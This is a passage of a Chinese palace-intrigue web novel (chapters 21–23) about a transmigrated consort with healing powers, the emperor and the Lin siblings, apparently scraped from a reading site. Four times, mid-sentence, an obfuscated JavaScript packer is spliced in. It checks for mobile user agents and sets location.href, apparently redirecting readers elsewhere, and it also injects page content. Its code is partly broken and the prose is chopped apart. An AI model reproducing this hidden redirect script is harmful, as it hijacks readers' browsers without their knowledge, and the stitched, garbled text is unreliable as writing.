林鹤赧然:“我暗中观察了你许久,看见了你脖子上的玉佩,也看见了你左手臂上的月牙形疤痕,那是你小时候爬树摔下来时留下的。” 林袅恍然。 兄妹俩初初相认,一时有说不完的话,当然,大多时候都是林袅在说,林鹤则回答她提出的问题。 某一时刻,林袅忽然脸色一变,“遭了!” 林鹤:“怎么了?” 林袅:“哥,你现在成了太监,那咱们林家岂不是要绝后了?德妃也太狠心了,怎么能让人把你给阉了呢。” 林鹤:“不怪她,是我咎由自取。” 林袅长叹一声,“说起来是不怪她,都是因为你受淑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960758|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃指使,先冒犯她在前,她没杀了你已经算好的了。” 她满眼不解地看着兄长:“哥,你为何要受淑妃指使去害德妃啊?难不成你喜欢淑妃?” 林鹤摇了摇头,“是皇帝,他不知从何得知,我与你是兄妹,在我还没来得及与你相认时,拿你威胁我,让我潜入德妃寝殿,做出与她私通的假象。” 林袅震惊又恼怒:“这个狗皇帝!他脑子被驴踢了吧?居然让你给他戴-绿-帽? “不过,他是怎么知道我们是兄妹的?你那时都还没与我相认呢,我自己都不知道自己有个哥哥,他倒是先知道了,还拿我威胁你,可恶!” 她双手叉腰气咻咻地转了两圈,“他还有脸说帮我找到了家人,他就不怕你说出真相吗?” 林鹤:“小鸟,他是皇帝。” 这短短的一句话,犹如一盆冷水兜头浇下来,林袅蓦地反应过来,“是啊,他是皇帝,天下人的生死不过在他一念之间,他有什么好怕的?就算我们知道了真相又能如何? “别说我们的性命捏在他手里,就是碧影山庄上下那么多条人命,他想要也不过一句话的事。我们就算知道了,也什么都做不了。” 报复?别说报复一个皇帝有多么大的难度了,就算报复成功了,她和哥哥逃得了吗? 她们能逃出去,碧影山庄能逃得了吗? 到时候她们说不定会被全天下通缉,一日都不得安宁。 “哥,那你说怎么办?” 想到先前塞金凤簪给自己,还在耳边给予自己提示的蓁蓁公主,林鹤道:“先去向皇帝谢恩,接下来按兵不动,等待时机。” 保和殿。 丽嫔和林鹤跪在地上,向上首的李淳谢恩。 李淳走下台阶,亲自将丽嫔扶了起来,“袅袅,朕真为你感到高兴,从此以后你再也不是孤零零的一个人了。” 丽嫔感动道:“是啊皇上,臣妾也是有家人的人了,再也不用漂泊无依了。” 李淳问:“家中父母亲人可还健在?” 丽嫔神色黯淡下来:“听哥哥说,祖父已经去世了,不过爹娘还健在。” 李淳:“朕下旨宣你父母进京,让你们一家团聚,可好?” 丽嫔和林鹤对视一眼,齐齐谢恩:“谢皇上恩典。” 前面的铺垫走完了,李淳开始图穷匕见,道出真正的目的了:“朕有两件事要交给你兄妹二人去办。” 林袅、林鹤:“请皇上吩咐。” 李淳:“林袅,朕命你为青鸟司司主,为朕探听宫中、乃至全天下的消息,将朕身边的奸细、探子全都揪出来,你,可能做到?” 林袅暗自翻了个白眼,皇帝还真看得起她,探听天下事?真以为她是一只鸟,可以到处飞啊。 面上却是恭敬应下:“臣妾定不负皇上所望。” 李淳:“林鹤,朕命你为玄武司司主,暗中为朕训练出一批高手,保护朕的安危,必要时也为朕铲除敌人。” 林鹤:“是,皇上。” 一下子网罗了两个人才,还是从李玄璋那里挖过来的,李淳心情甚好,正打算乘胜追击跟林家兄妹“推心置腹”一番,好让他们对自己更加死心塌地时,墨春进来禀报道:“皇上,德妃娘娘来了,说要见您。” 李淳朝丽嫔两人摆了摆手,“你们兄妹二人初初相认,想必有很多话要说,且退下吧。” 两人从另一头离开,没有和德妃碰上。 21. 第21章 姜念虞进了殿,十分敷衍地行了个礼,“皇上,我来跟你要个人。” 李淳拿了本奏折装模作样地看着,打算晾她一会儿,让她知道,谁才是这皇宫的主人。 批了几本奏折后,他又端起茶盏慢悠悠地喝了一口,这才抬起头朝德妃看去。 这一看,他险些将嘴里的那口茶给喷出去。 德妃被他晾着,非但没有坐立难安,反倒还优哉游哉地坐在那儿吃了起来。 桌上拿来待客的糕点水果,都快要被她给造完了! 她不光吃,她还连吃带拿,往自己的袖子里塞! “德妃!你把朕这里当成什么地方了?你看看你,成何体统!”李淳怒而拍桌。 姜念虞反过来指责他:“皇上你这么大惊小怪的干什么?不就是吃些点心水果嘛,难道你堂堂一个天子,连自己的妃子吃点东西都要斤斤计较不成?” 李淳脸色铁青,她竟还有脸反过来说他小气? “整天就知道吃,德妃,难道你没发现你胖了吗?” 说着上下扫了她一眼,发现她整个人都圆润了,像珍珠一般光彩照人,明艳绝伦,但腰肢竟还是那样纤细,衬得胸前愈发高耸了。 意识到自己在看什么地方,李淳整个人都不好了,被烫到似的赶紧收回视线,心跳却有些不受控制地加速。 这是怎么回事?他不是对女人不感兴趣了吗? 姜念虞咬了口金黄软糯的枇杷,不甚在意地说:“胖就胖呗。” 她甘愿做一个快乐的胖子! 李淳:“朕看你干脆也别叫德妃了,‘德’这个封号与你甚是不匹配,不如朕封你为‘猪妃’?” 姜念虞这下真的炸毛了:“我是猪妃?那你就是狗皇帝!” 李淳:“放肆!猪妃,朕看你是活腻歪了!” 姜念虞蹭蹭蹭冲到他面前,土匪似的将一条腿踩在他的御案上,横眉怒目地俯下身,直勾勾盯着他:“你再说一声‘猪妃’试试?” 猪是她的禁忌! 前世她和小伙伴一起外出狩猎,碰到一头三层楼那么高的变异丧尸猪,除了她逃过一命,其她人全都被那头丧尸猪给吃了! 自此她就成了孤家寡人,一个人在末世里飘零。 这个狗东西居然说她是猪妃? 信不信她把他脑袋拧下来! 李淳猝不及防被她贴脸威胁,一股说不清道不明的香味自她身上袭来,像是春日万物生长的气息,清新得能够荡涤灵魂。 他忍不住一嗅再嗅,气势也就荡然无存了。 发现她的脸竟与自己离得那样近,李淳不甚自在地往后仰了仰。 “不叫便不叫,你这样也太不像话了,满后宫有哪个妃子像你这般不守规矩、无视尊卑?也就是朕,看在你姐姐的份上,才能对你网开一面,格外优容。” 姜念虞哼了声,将他的这番屁话当成耳旁风,收回踩在御案上的那条腿,直起身,“刚才我说的话,皇上听见了吧?” 李淳:“你想要谁?” 姜念虞:“我要墨春。” 李淳:“什么?不行!” 姜念虞一屁股往御案上一坐,慢条斯理地擦拭着被枇杷弄湿的手指,“皇上,最近我听到了一些流言,说是皇上跟墨春有些不清不楚的,不仅整日里形影不离,晚上还会宿在一处,耳鬓厮磨——” 李淳:“住口!这是污蔑!你从哪里听来的这等谣言?朕要将那些散播谣言的人舌头拔了!” 姜念虞似笑非笑地瞅着他:“皇上这么激动做什么?不知道的还以为谣言是真的,皇上被说中了心虚呢。” 李淳钳住她的下巴,“德妃,不要挑战朕的底线,快如实说来。” 姜念虞没躲,她的确讨厌李淳,所以就算知道他能让自己异能上涨,也不会主动触碰他,但送上门来的异能不要白不要嘛。 “皇上,你说这谣言要是传到太后或者前朝大臣们的耳朵里,墨春还能活命吗?” 到时候甭管皇帝跟墨春有没有首尾,墨春都会被处理掉。 李淳瞳孔一缩,“德妃,你这是在威胁朕?朕看你是嫌命太长了!” 姜念虞:“我哪里敢威胁皇上?我这不是在跟你商量吗?既然皇上这么看重墨春,那我也不能夺了皇上的心头好,我就退而求其次,皇上把林鹤给我吧。” 李淳这下算是明白了,德妃真正想要的是林鹤。 “你要林鹤做什么?” 姜念虞:“原本我想着让他在轮回司多吃点苦头,以泄我心头之恨,谁知丽嫔将他带走了,还对他颇为看重,我自然不高兴,所以想将他要过来,继续折磨他,让他生不如死。” 李淳听了心头一动,“好,朕把他给你,若是往后再听到任何关于朕和墨春的谣言,朕就唯你是问。” “皇上放心好了。”姜念虞勾唇一笑,像一朵灿烂的花儿在他手里绽放。 饶是李淳对她满心怒火,却也被她的这抹笑容晃了眼,迷了心。 他蓦地收回手,将手背到身后,但指尖依然残留着她皮肤上的柔腻触感,这触感让他有些心烦意乱。 “带着林鹤滚吧。” 他不想再看见她。 姜念虞却是得寸进尺,又提出了一个要求:“皇上,未央宫太大了,我想让丽嫔搬进来和我作伴。” 李淳故作不耐烦地摆摆手:“随你。” 侧殿,扒着柱子偷听的丽嫔听到这里,忙缩了回去。 果不其然,下一刻就听皇帝唤道:“丽嫔,林鹤,你们随德妃去吧。” 他原本还发愁如何让丽嫔打入李玄璋的内部,德妃主动将她要了过去,倒是误打误撞替他解决了一个难题。 德妃跟李玄璋勾搭在了一起,丽嫔进了未央宫,就能时刻探听到她二人的消息,他便能了解到李玄璋那边的动向了。 德妃走后,墨春忧心忡忡地问:“皇上,您将丽嫔和林鹤给了德妃,要是她兄妹二人倒向德妃怎么办?” 李淳哈哈一笑,“墨春啊,林鹤一个男子,被德妃下令处以宫刑,变成了太监,这等奇耻大辱、深仇大恨,林鹤怎么可能愿意倒向德妃? “而丽嫔与林鹤兄妹一体,德妃让丽嫔的兄长成了太监,丽嫔恨德妃还来不及,又怎么会愿意为她做事?” 他脸上笑容蓦地一收,“况且,他林家上下的命都捏在朕手里,她们怎么敢背叛朕?” * 姜念虞打了胜仗一般,带着林鹤和丽嫔兄妹俩凯旋而归,让石永竹将两人安置下来。 自己则去了侧殿,将从李淳那狗东西那里薅来的异能一股脑输给了晟儿。 原本正发着烧的晟儿,体温很快就降了下去,额头也不再发烫了。 小家伙舒服得直哼哼,像一只小猪仔,睁开眼睛看见了姨母,小手就从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976777|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被子里伸出来,要她抱。 姜念虞将他连人带被抱坐在腿上,恰好小喜子端了熬好的药进来。 “晟儿,来,喝药了。” 晟儿将脑袋埋在她怀里,“姨母,药苦。” 姜念虞舀了勺药喝了,“不苦,好喝的。” 她并非哄骗晟儿,而是真的这么觉得,这药比异兽的血可要好喝多了,起码不腥不臭,细品一下,还很香呢。 最重要的是很干净,没有病毒。 晟儿见姨母喝得那么香,仿佛那药真的是什么绝世美味,不由得信了,张嘴喝了一口。 小脸蛋顿时皱成了一团,哭唧唧道:“姨母,好苦,你骗晟儿……” 姜念虞当着他的面又喝了一口,很真诚道:“真的不苦。” 李晟:“……” 他看着姨母,不禁怀疑起自己来,难道真的不苦? 喝一口,还是好苦。 在这样的反复怀疑与信任中,李晟最后还是将那一碗药给喝完了。 春樱递过来一罐蜜饯,“娘娘,快给殿下吃块蜜饯甜甜嘴。” 姜念虞自己先吃了一块,才喂晟儿。 药中有安神的成分,晟儿喝完药没多久,又睡着了,姜念虞给他掖好被子,命小喜子好生照看着,便离开了。 回到自个屋里,姜念虞一秒化身为树懒,往炕上的软垫上一躺。 夏桃叹了口气:“主子,您再这么躺下去,前两天新做的春衫就真的要穿不下了。” 姜念虞翻了个身,“没事的夏桃,我每天都有运动呢。” 做体操怎么不是运动呢? 她每天都做得很认真呢。 夏桃还想说什么,石永竹进来了,“娘娘,丽嫔娘娘和那林鹤已经安置下来了,丽嫔娘娘住在了朝凤殿,林鹤住进了后罩房,不知您接下来对林鹤有什么安排?” 姜念虞:“他人呢?你把他叫来。” 石永竹:“他人就在外头候着呢,奴婢去把他叫进来。” 林鹤随石永竹来到寝殿内,向姜念虞跪地行礼。 姜念虞下了炕,将他扶起来,“我这里没那么多规矩,不用动不动就给我下跪磕头。” 林鹤低首垂眸:“是。” 姜念虞:“会按摩吗?来给我按按。” 她趴到炕上,捞过来一个软枕垫在身下。 林鹤迟疑着没有动。 石永竹冲他使了个眼色,“还愣着做甚?快上炕给娘娘按摩啊。” 要不是娘娘没点他,他早就冲上前了,都不带犹豫的。 林鹤只好脱了鞋上炕,跪坐在德妃身旁,伸出手,在她后背上方悬停了一会儿,这才落下。 姜念虞倒不是想按摩,而是想借着按摩,增加和林鹤的接触,这样她的异能就能蹭蹭上涨啦。 但没想到林鹤的按摩手法还蛮高明的,按得她很是舒服。 她懒洋洋地道:“林鹤,我任命你为未央宫的侍卫长,以后你要寸步不离地跟在晟儿身边,保护他的安危。” 林鹤动作微顿,“是,娘娘。” 姜念虞:“我想睡一会儿,你们都下去吧。” 夏桃和石永竹遵命退下了。 屋子里,只剩下了姜念虞和林鹤两人。 姜念虞叫了停,翻身坐起来,林鹤忙下了炕,躬身立在一旁。 “把衣裳脱了。”她命令道。 22. 第22章 林鹤缓缓抬起手,落在腰带上,将衣裳一件件褪去。 最后只剩下一件白色里衣。 纵然姜念虞对他没有什么想法,看到他这副宽肩窄腰的俊俏身板,也忍不住多看了两眼。 “里衣也脱了。” 林鹤面色冷峻,耳朵却红得滴血,有些艰难地开口:“娘娘,您是要?” 姜念虞:“我想看看你的伤,不然你以为呢?” 林鹤大窘,偏过了头,根本不敢往她那边看,被狠狠碾压也能坚若磐石的一双手,此刻解开里衣的腰带时却是微微颤抖,好半天才终于解开。 他胸前缠绕着纱布,心口处的伤口渗出了血来。 姜念虞伸出手想碰一下他的伤口,林鹤却如临大敌,闪身后退了一大截。 意识到自己反应过度,他又慢吞吞挪了回来,低声道:“娘娘恕罪。” 姜念虞:“过来。” 离那么远,怕她吃了他不成? 她可没有吃人的爱好。 待他走近,姜念虞命令道:“别动。”下一秒就将手掌贴在了他心口处。 输入异能。 在异能的疗愈下,林鹤胸前纱布下的伤口快速愈合,以至于产生了一股难耐的酥痒。 林鹤震惊抬眸,德妃娘娘她这是在给他疗伤? 只是将手贴在他伤口处,就能令伤口好转愈合。 这等手段,无异于传说中的仙人法术! 姜念虞一边用异能给他治疗,一边抬眸看着他的眼睛:“你应该感受到了吧?我不止能治好你的伤势,还能令你失去的东西重新长回来,在我帮你断肢重生之前,你要效命于我,只听我一个人的话,能做到吗?” 林鹤心跳如鼓,伤口酥痒难耐,她的话更是令他震撼不已,他忍不住按住了她覆在自己心口的那只手。 开口时声音竟有些沙哑:“卑职谨遵娘娘之命。” 姜念虞倾身靠近了他,在他耳边道:“我给你疗伤的秘密,你知我知,天知地知,不能再传入第三个人的耳朵里,记住了吗?” 林鹤:“是。” “姐姐,你们在做什么?” 李玄璋不知何时出现在了门口,一双漆黑的眼眸暗沉沉地盯着两人。 那林鹤的衣裳都已脱去,而德妃的手贴在他胸前,两人几乎贴在了一起,暧昧得让人不得不产生怀疑。 任谁看见,都会以为这是一对正在耳鬓厮磨的情人。 林鹤慌乱后退,“殿下恕罪。” 捡起地上的衣裳避到屏风后,快速穿上。 姜念虞倒是一派坦然,还有心思拿起炕几上的核桃敲来吃。 李玄璋抱着咧嘴的恐怖娃娃走过去,将她刚敲好的核桃抢过来,“姐姐莫不是真的看上了他,这才特意将他要了过来?” 姜念虞:“蓁蓁,这种话可不能胡说,传出去我又要落得个秽乱后宫的罪名了,我刚才不过是看了下他的伤势罢了。” 李玄璋轻笑一声,“好吧,姐姐说什么就是什么。” 低头,将那颗核桃碾得粉碎。 看着核桃碎屑从他手指尖一点点漏出来,姜念虞莫名感到后背一凉,大反派这是生气了? 谁惹着他了? 肯定不是她,她啥也没做,只是敲了个核桃而已。 屏风后,林鹤早已穿好了衣裳,却踌躇着没敢出去。 姜念虞对他道:“林鹤,你去陪着晟儿吧。” 林鹤如蒙大赦,“是。” 飞也似地出了门。 身后一道灼灼的目光追过来,令他如芒刺在背。 李玄璋坐到姜念虞身旁,将她的手扯过来,拿出帕子给她使劲儿擦了擦。 姜念虞想抽回来,没能抽动,“你干嘛?把我的手都擦红了。” 李玄璋冲她露出一抹微笑:“姐姐,以后别乱碰脏东西。” 姜念虞:“……” 她懒得跟他争辩,从盘子里抓了把香瓜子,往堆成小山似的枕头上一躺,磕起了瓜子,“咪咪怎么样了?” 李玄璋:“咪咪是谁?” 姜念虞扑哧一笑,“好吧,月奴,你的月奴怎么样了?毛长出来了吗?” 李玄璋:“我还以为姐姐已经把月奴给忘了呢。” 姜念虞:“……” 大反派吃错药了吧?怎么突然变得这么阴阳怪气? 李玄璋似乎也意识到自己情绪有些失控了,有些自厌地皱了皱眉,背对着姜念虞,在枕头山另一边躺下了。 “月奴已经好多了,长出了一层浅浅的绒毛。” 姜念虞吐出瓜子壳:“哦,那就好,过两天我去看它。” 李玄璋:“那棵桃花树也已经焕发生机了,长出了嫩芽。” 姜念虞:“是吗?那看来不久之后我们就能吃上桃子了。 “不知道它结出来的是脆桃还是软桃?我喜欢吃软桃,果肉软软糯糯的,一口咬下去能爆汁,不过脆桃也不错,吃起来脆脆的,手上不会沾上黏-糊糊的汁-水……” 说着她都忍不住流口水了,只能从点心攒盒里拿了一块儿桃脯吃。 吃不着新鲜的桃子,桃脯也可以作为替代品,让她尝尝桃子的味儿。 李玄璋瞥了她一眼,见她满心都在那还没影儿的桃子上,捂着胸口咳嗽了两声。 姜念虞问:“怎么了?” 李玄璋淡淡道:“没什么。” 他既这么说,姜念虞也就不再问了。 谁知过了会儿他又咳嗽起来,眉心蹙着,双手捧心犹如那病西施,脸蛋白卡卡的。 “你到底怎么了?跟我还有什么不好说的。”姜念虞倒了杯茶递给他。 李玄璋接过茶杯来饮了一口,轻描淡写道:“伤口疼。” 姜念虞想起来,前些天他挨了李淳一顿鞭笞毒打,遍体鳞伤,浑身鲜血淋漓的,这会儿估计还没好,伤口会时不时发作。 想了想,对他道:“我娘前几天进宫,给我带了一盒专治外伤的药膏来,你等着,我去拿来给你搽上。” 姜念虞进了里间,拿了盒药膏出来,药膏盒子上画着一棵槐树,槐树下一面旗帜飘扬,上头写着“张记膏药铺”几个字。 “来,把衣裳脱了,我给你上药。” 李玄璋背过身,慢条斯理地脱了衣裳。 少年劲瘦颀长的脊背上,伤痕累累,新旧交替,有的还渗出了血来,犹如一块无瑕的美玉上布满了凌乱的刻痕,令人触目惊心。 若是一般人见了,怕是要心疼不已了。 姜念虞却没多大感觉,这种程度的伤势,在她眼里不过小儿科,她前世受伤最严重的那次,半边身子都没了,后来还不是硬生生地挺了过来? 察觉她呼吸依旧平稳,李玄璋捏紧了指尖,他将自己伤痕累累的后背袒露在她面前,都不能换来她一分心疼吗? “之前我给你的药膏没用吗?”她在那盒药膏里输入了一点异能,如果他用了,伤口不可能还是这副样子,至少也应该结疤了。 李玄璋有些委屈道:“我自己没法给后背上药。” 实际上是不喜用药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006371|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谁知道那药里有没有藏着毒呢?他宁愿让伤口好得慢一些,也不愿给别人伤害自己的机会。 不过如果是她亲手给他上药的话,他倒也能勉强接受。 姜念虞:“那以后我来给你上吧。”顺便多蹭一些异能。 她不信他那么多手下,找不出一个可以给他上药的,不过小说里大反派好像的确不喜欢别人碰他—— 小时候的他生得玉雪可爱,偏偏又不受宠,和他母亲一起被发配到冷宫,为了生存,他不得不想方设法地游走在那些太监宫女之间,讨好她们,以期能够获得一点食物。 然而那些人中不乏心理阴暗变态的,对着小蓁蓁伸出了魔爪。 虽然他最后逃了出来,但还是留下了心理阴影,自此拒绝与任何人有身体上的接触。 当然,杀人时除外。 现在想来,当初她摸他的手时没被他拧断腕骨,实在让她有些意外。 他肯让她接近他,触碰他,是否证明她对他来说是不一样的呢? 姜念虞被尘封已久的玛丽苏神经跳动了起来,不由得有一丝窃喜。 旋即又晃了晃脑袋,将这种想法晃出去。 就算她对大反派来说是特别的,但那又怎样?能让她强大无匹吗?能让她长生不老吗?能让她青春永驻吗? 既然不能,那这种特别也没什么用,顶多是让她蹭异能更方便一点。 姜念虞用指尖蘸了药膏抹在他伤口处,借着上药给他输了点异能。 李玄璋清晰地察觉出了异常,张记的外伤药他以前也用过,效果确实不错,但绝没有这般立竿见影。 仿若一滴滴清凉的甘霖落在了伤口处,温柔地浸润其中,原本灼痛的伤口顿时缓解了大半。 她是如何做到的? 后背上完药,李玄璋转过了身,着意观察了下她给自己肩膀上药的情形,但并未发现什么异常。 她只是简单地沾上药膏,抹在他伤口处,动作干脆利落,十分熟练,仿佛这样的动作已经做过千百次。 除此之外,别无其它。 那么那股极大地缓解了他伤口灼痛的清凉感,来自何处? 莫非是张记将药膏进行了改良? “好了,剩下的你自己搽吧。” 姜念虞给药膏也注入了一点儿异能,将盒子塞给他。 李玄璋拿着药膏,对她道:“害得晟儿落水的幕后凶手,已经找到了。” 姜念虞:“谁?” 李玄璋:“你送到我那里的小太监,跟李淳身边的墨春是同乡,墨春私下里找过那小太监几次。” 姜念虞:“我就知道是李淳这个狗东西在背后捣的鬼。之前他把你打成那样,你打算怎么报复他?” 李玄璋穿上外裳,扣上腰带,“我打算在明日的琼林宴上动手。” 姜念虞:“有没有什么我能做的?” 李玄璋看她一脸跃跃欲试的样子,临时改了主意:“自然是有的。” * 当晚,李淳再次翻了丽嫔的牌子。 “朕听说蓁蓁公主今日去了未央宫,跟德妃单独待了半晌,两人在屋子里说了些什么?” 丽嫔:“皇上,德妃姐姐的寝殿,臣妾不敢随意靠近,不过您放心,臣妾会尽快与德妃姐姐打好关系,与她亲近起来,这样以后臣妾打探起消息来就方便多了。” 李淳:“丽嫔,你要抓紧时间将青鸟司筹建起来,缺什么只管来找朕,三个月之内朕要看到成果。” 丽嫔顿感压力山大:“是,皇上。” 23. 第23章 “娘娘,该起床了。”春樱端了一盏玫瑰花露来到床边,放到床头的矮几上,挂起帐子,轻唤了一声。 夏桃则拿着火折子将殿内的蜡烛点亮。 床榻上,姜念虞不情愿地睁开一只眼睛,被烛火晃了下,又闭上了,咕哝着问:“什么时辰了?” 春樱:“娘娘,卯时了。” 姜念虞在心里换算了下,天杀的,才五点啊! “天都没亮呢,起这么早干嘛?” 夏桃走过来,“我的娘娘哎,您忘了今儿是什么日子了吗?今儿要举办琼林宴,再有两个时辰太后、皇上就要率领宫中诸人前往琼林苑了。 “您这个时候起来,已经是晚了,待会儿梳妆打扮可得废时辰呢,朝凤殿的丽嫔娘娘可是早半个时辰前就起来了,您赶紧的吧,别赖床了。” 被夏桃这么一通念叨,姜念虞是睡不下去了,顶着一头乱糟糟的长发爬起来。 春樱将玫瑰花露递过来,她接过来三两口灌进了肚子里,只觉得满口清香。 洗漱完,姜念虞坐到了梳妆台前,将自己交给了春樱和夏桃,任由她们拾掇打扮去。 她自己则闭目养神,引导着异能在体内循环了一周。 这是她前世瞎琢磨着开发出来的一项功能,引导异能在体内循环,可以消除疲惫、焕发精神、排毒养颜、强身健体……总之好处多多。 等她异能循环了一周,整个人都变得元气满满了。 春樱赞叹道:“娘娘的肌肤真是白里透红,吹弹可破,脂粉涂抹上去,都有些污了颜色呢。” 夏桃:“可不是,娘娘的脸蛋看着真嫩,我都想咬一口了。” 姜念虞:“别贫了你们俩,赶紧的吧。” 等上好妆、弄好头发、穿戴上配套的衣裳首饰,已经是一个时辰之后了。 姜念虞往镜子前一照,“呀,这还是我吗?春樱、夏桃,你们俩的化妆术,堪称神术啊。” 春樱和夏桃笑作一团,“娘娘,是您天生丽质,我俩不过是稍作修饰罢了。” “娘娘本就是花容月貌,国色天香,经过我们一番精心的打扮,愈发夺人心魄了。” 两人对着姜念虞一通彩虹屁输出。 “姐姐。”姜念虞一出来,在外间候着的丽嫔眼睛一亮,“我都不敢往姐姐面前站了,不然别人还当我是杂草呢。” 姜念虞:“不用叫我姐姐,咱们就以名字相称吧,你可以叫我念虞、阿虞,或者岁岁都行,我叫你袅袅,怎么样?” 丽嫔自无不可,笑着应道:“好呀,岁岁。” 膳房送来了早饭,豆腐脑,油条,三鲜面,都是姜念虞昨天就定下来的。 她想吃什么,就会拟一个食单,膳房里的大厨都会尽力满足她,如果她们实在不会做,就会来请教她。 姜念虞这般那般指导一番后,膳坊的厨娘就能够心领神会,将她想吃的东西做出来。 有的可能无法一比一完全复刻出来,但是味道绝对差不了。 姜念虞问丽嫔:“你吃了吗?没吃的话和我一块儿吃点吧。” 现在的她已经没有刚穿来时那么护食了,可以跟人分享食物了。 丽嫔有些不好意思道:“我怕到时候去琼林苑的路上要如厕,所以只吃了两块点心垫下肚子,不过现在闻着香味,倒确实有些饿了。” 跟着坐了下来。 姜念虞:“该吃就吃,该如厕就如厕,这两件事又不冲突。” 端起一碗甜豆腐脑美滋滋地吃了起来。 她是甜豆腐脑党,想念这一口好多年了。 喝一口清甜嫩滑的豆腐脑,再吃一口香酥可口的油条,绝了! 正吃着,林鹤抱着晟儿过来了。 今日林鹤穿了一身束腰窄袖的黑色侍卫服,腰间佩剑,宽肩窄腰大长腿,抱着晟儿稳稳走过来,颇有一股子冷峻又温柔的人夫范儿。 晟儿趴在他肩头,被衬得小小的一只,可爱极了。 “姨母。”被放下来后,晟儿倒腾着两条小短腿跑过来,一头扎进姜念虞怀里。 姜念虞捏了捏他的脸蛋,将他抱起来放到他的专属座椅上,“吃吧,吃完了咱们就能出宫去玩啦。” 晟儿埋头香喷喷地吃了起来,袍子底下两条胖嘟嘟的小短腿一晃一晃的。 饭后,姜念虞漱了口,又补了下口脂,整装妥当,领着晟儿、丽嫔去了慈宁宫,向太后请安。 到了才发现,她来得算晚的,其余妃嫔都已经到了,满殿娇红柳绿,莺声燕语,热闹极了。 到了时辰,众人便在皇帝、太后的率领下出宫,前往城西顺天门外的琼林苑。 琼林苑,是皇家为了举办琼林宴而专门修建的一座园林,如此豪横之举,也就只有皇家才做得出来了。 而琼林宴,说白了就是这时代最高规格的一场升学宴,天下文人士子无不向往有朝一日能够入得琼林苑,参加琼林宴。 从皇宫到琼林苑,得经过大半个京城,姜念虞一行先是乘坐轿辇出宫,到了皇城外换乘马车,行驶在宽阔的御街上。 因皇家出行,御街被清了道,路上不见一个行人,街道两旁都设置了路障,每隔两步远就立着一名手持武器的官差。 但在御街两侧的街巷内,以及路边的商铺茶楼里,都挤满了围观的百姓。 百姓看皇家的人,如看另一个世界的人,而马车里的姜念虞和晟儿,看外头的景象,也是稀奇得很。 穿过来后第一次出宫的姜念虞,和长这么大第一次出宫的晟儿,两人仿佛第一次来到人类世界的猴子,看啥都新鲜,两只眼睛转不过来。 姜念虞:要是啥时候能够出宫,自由自在地逛一逛就好了,刚才一路上她闻到了好多吃的,都要被香迷糊了! 到了琼林苑,一行人便从车上下来,换乘轿辇入园。 “姨母,这是什么桥啊?” 当踏上一座长虹般的拱桥时,和姜念虞共乘一架轿辇的晟儿指着那座桥问。 姜念虞搜寻了下记忆,琼林苑虽是皇家园林,平常却是对百姓开放的,允许百姓进来游逛玩乐、钓鱼划船,百姓甚至还可以在里面摆摊做生意…… 这里就相当于一座大型的古代游乐园。 原主进宫前没少来琼林苑游玩,对这里可谓熟悉得很。 “晟儿,这是仙桥,不过百姓都叫它虹桥,你看桥的栏杆,被刷成了红色,远远望着,是不是像一道彩虹? “中间拱起的这一段,就像是骆驼背上拱起来的驼峰,所以这一段又有个单独的称呼——骆驼虹。” 晟儿听得眼睛亮晶晶的,“仙桥,虹桥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022586|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,骆驼虹……姨母,我记住啦,陈夫子知道我今天要来参加琼林宴,布置了一道课业,让我们写一篇《游琼林苑》,到时候晟儿就把这个桥写进去。” 姜念虞:“……” 没想到古时候的“小学生”也要写日记呢。 “呀,蝴蝶!”晟儿兴奋地指着一只飞过去的蝴蝶,那蝴蝶是绿色的,拖着两条长长的尾巴,十分华丽。 姜念虞抬起手,指尖释放了一点木系异能。 异能是一种能量体,人的肉眼无法看见,但在动物的眼中,就像是一粒粒绿色的星辉般莹莹烁烁。 那只蝴蝶一下子就被吸引了,径直朝着姜念虞飞过来,落在了她的指尖,陶醉地吸收着异能。 晟儿张大了嘴巴,崇拜地看着姨母,“姨母好厉害!蝴蝶都听你的话!” 姜念虞毫不脸红地收下了小朋友的夸赞,将指尖的蝴蝶递给他。 